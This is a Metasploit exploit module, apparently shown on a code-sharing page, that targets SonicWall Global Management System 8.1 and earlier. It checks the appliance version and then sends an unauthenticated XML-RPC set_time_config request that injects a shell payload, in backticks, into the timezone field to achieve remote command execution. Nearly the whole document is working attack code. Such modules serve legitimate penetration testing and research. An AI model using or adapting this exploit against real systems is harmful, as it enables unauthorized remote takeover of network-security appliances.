Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7

8
  Rank = ExcellentRanking
9

10
  include Msf::Exploit::Remote::HttpClient
11

12
  def initialize(info={})
13
    super(update_info(info,
14
      'Name' => "SonicWall Global Management System XMLRPC set_time_zone Unauth RCE",
15
      'Description' => %q{
16
        This module exploits a vulnerability in SonicWall Global
17
        Management System Virtual Appliance versions 8.1 (Build 8110.1197)
18
        and below. This virtual appliance can be downloaded from
19
        http://www.sonicwall.com/products/sonicwall-gms/ and is used 'in a
20
        holistic way to manage your entire network security environment.'
21

22
        These vulnerable versions (8.1 Build 8110.1197 and below) do not
23
        prevent unauthenticated, external entities from making XML-RPC
24
        requests to port 21009 of the virtual app. After the XML-RPC call
25
        is made, a shell script is called like so:
26
        'timeSetup.sh --tz="`command injection here`"' --usentp="blah"'.
27
      },
28
      'License' => MSF_LICENSE,
29
      'Author' => [ 'Michael Flanders', #MSF Module
30
                    'kernelsmith' #Advisor
31
                  ],
32
      'References' => [
33
        ['URL', 'https://www.digitaldefense.com/digital-defense/vrt-discoveries/'],
34
        ['URL', 'https://slides.com/kernelsmith/bsidesaustin2018/#/']
35
      ],
36
      'Platform' => [ 'unix' ],
37
      'Arch' => ARCH_CMD,
38
      'Targets' => [
39
        [ 'SonicWall Global Management System Virtual Appliance', {} ],
40
      ],
41
      'Payload' => {
42
        # Can't use ampersand, Java's XML-RPC parser will complain and return an error
43
        'BadChars' => "\x26",
44
         'Compat' => {
45
           'PayloadType' => 'cmd',
46
           'RequiredCmd' => 'generic bash telnet'
47
         }
48
      },
49
      'DisclosureDate' => '2016-07-22',
50
      'DefaultTarget' => 0))
51

52
      register_options(
53
        [
54
          OptString.new('WEB_SERVER_PORT', [ false, 'Port of web console login page.
55
                                             Defaults to 80/443 depending on SSL.'])
56
        ])
57
  end
58

59
  def check
60
    if datastore['WEB_SERVER_PORT']
61
      port_number = datastore['WEB_SERVER_PORT']
62
    else
63
      port_number = datastore['SSL'] ? '443' : '80'
64
    end
65

66
    handler = datastore['SSL'] ? 'https' : 'http'
67

68
    res = request_url("#{handler}://#{rhost}:#{port_number}")
69

70
    unless res
71
      vprint_error 'Connection failed'
72
      return CheckCode::Unknown
73
    end
74

75
    unless res.code == 200 && res.body =~ /<TITLE>.+v(\d\.\d)/
76
      return CheckCode::Safe
77
    end
78

79
    version = Rex::Version.new $1.to_s
80

81
    unless version <= Rex::Version.new('8.1')
82
      return CheckCode::Safe
83
    end
84

85
    CheckCode::Appears
86
  end
87

88
  def exploit
89
    unless check == CheckCode::Appears
90
      fail_with Failure::NotVulnerable, "The target is not vulnerable."
91
    end
92

93
    print_status "The target appears to be vulnerable, continuing exploit..."
94
    send_xml
95
  end
96

97
  def send_xml
98
    xml_body = <<~HERESTRING
99
    <?xml version="1.0" encoding="UTF-8"?>
100
    <methodCall>
101
      <methodName>set_time_config</methodName>
102
      <params>
103
        <param>
104
          <value>
105
            <struct>
106
              <member>
107
                <name>timezone</name>
108
                <value>
109
                  <string>"`#{payload.encoded}`"</string>
110
                </value>
111
              </member>
112
            </struct>
113
          </value>
114
        </param>
115
      </params>
116
    </methodCall>
117
    HERESTRING
118

119
    res = send_request_raw({
120
      'method'  => 'POST',
121
      'uri'     => '/',
122
      'data'    => xml_body,
123
      'ctype'   => 'text/xml; charset=UTF-8'
124
    })
125

126
    unless res && res.body.include?("success")
127
      print_error("Error sending XML to #{rhost}:#{rport}")
128
    end
129
  end
130

131
end
132

133